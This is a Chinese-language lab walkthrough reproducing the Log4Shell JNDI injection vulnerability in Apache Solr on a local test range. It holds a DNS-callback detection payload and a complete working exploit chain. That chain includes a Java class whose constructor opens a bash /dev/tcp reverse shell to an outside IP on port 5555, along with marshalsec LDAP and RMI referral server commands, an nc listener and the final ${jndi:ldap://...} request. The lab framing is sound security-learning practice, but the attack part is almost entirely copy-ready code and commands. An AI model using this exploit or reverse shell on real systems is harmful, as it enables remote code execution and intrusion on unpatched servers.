环境搭建
靶场下载
服务启动
查看自己的IP
192.168.43.132:8983/solr/#/ 输入IP+端口则会跳转到:
漏洞检测
用到dnslog平台检测dns回显,看看有没有漏洞存在。 dnslog.cn
获得临时domain: pjrpe6.dnslog.cn
在/solr/admin/cores?有个参数可以传,这就是个注入点,我们试试能不能输出java版本,构造 payload,访问的url如下:
http://192.168.43.132:8983/solr/admin/cores?
action=${jndi:ldap://${sys:java.version}.pjrpe6.dnslog.cn}
然后到DNSlog里面点击刷新查看:可以多请求几次
这样,Java的版本显示出来了.说明存在漏洞.
漏洞利用
编写恶意类文件
1. 我们先编写以下的恶意文件Exploit.java,我们企图反弹shell到kali(ip152.136.102.131)的5555端 口,因此对应的bash命令为
exec 5<>/dev/tcp/152.136.102.131/5555;cat <&5 | while read line; do 2>&5 >&5; done
其他反弹shell的语句:https://forum.ywhack.com/shell.php
我们就将我们反弹shell的命令写入到恶意的文件中,并取名为Exploit.java
public class Exploit { public Exploit(){ try{ String[] commands = {"bash","-c","exec 5<>/dev/tcp/152.136.102.131/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"}; Process pc = Runtime.getRuntime().exec(commands); pc.waitFor(); } catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv) { Exploit e = new Exploit(); } }
记得修改代码内容:公网IP
2. 然后我们把Exploit.java编译为类文件Exploit.class,最好javac的版本为1.8
javac Exploit.java
.java文件就被编译为.class文件了
3. 在exploit.class所在目录启动http服务
python3 -m http.server
浏览器验证,是否能够从web服务中访问到Exploit.class文件(必须要保证从web服务中能够访问到)
开启LDAP服务
1. 接下来使用marshalsec项目,启动LDAP服务,监听1389端口并加载远程类Exploit.class:
项目下载地址:marshalsec-0.0.3: marshalsec-0.0.3-SNAPSHOT.jar
再起一个命令窗口(详细看文章最后,点击"宝塔后面的+").
然后将下载的jar包复制到刚刚启动服务的文件夹下面
LDAP服务启动
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://152.136.102.131:8000/#Exploit" 1389
LDAP服务启动
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://152.136.102.131:8000/#Exploit" 8888
PS:以上两种服务选择启动那个服务都行。这里开启LDAP服务,注意要更改IP中的内容为你的web服务。
监听反弹
再起一个命令窗口(详细看文章最后,点击"宝塔后面的+")
攻击机新开终端,监听之前Exploit.java里面写的反弹shell的端口5555
nc -lvnp 5555
开启攻击
最关键的一步,进行JNDI注入,我们在注入点/solr/admin/cores?action=构造一个JNDI注入.
http://192.168.43.132:8983/solr/admin/cores?action=${jndi:ldap://152.136.102.131:1389/Exploit}
查看监听端,发现shell反弹成功(如果反弹一直不成功,尝试Burp抓包插入poc发送).
至此漏洞复现完成,复现完后别忘了销毁靶场噢~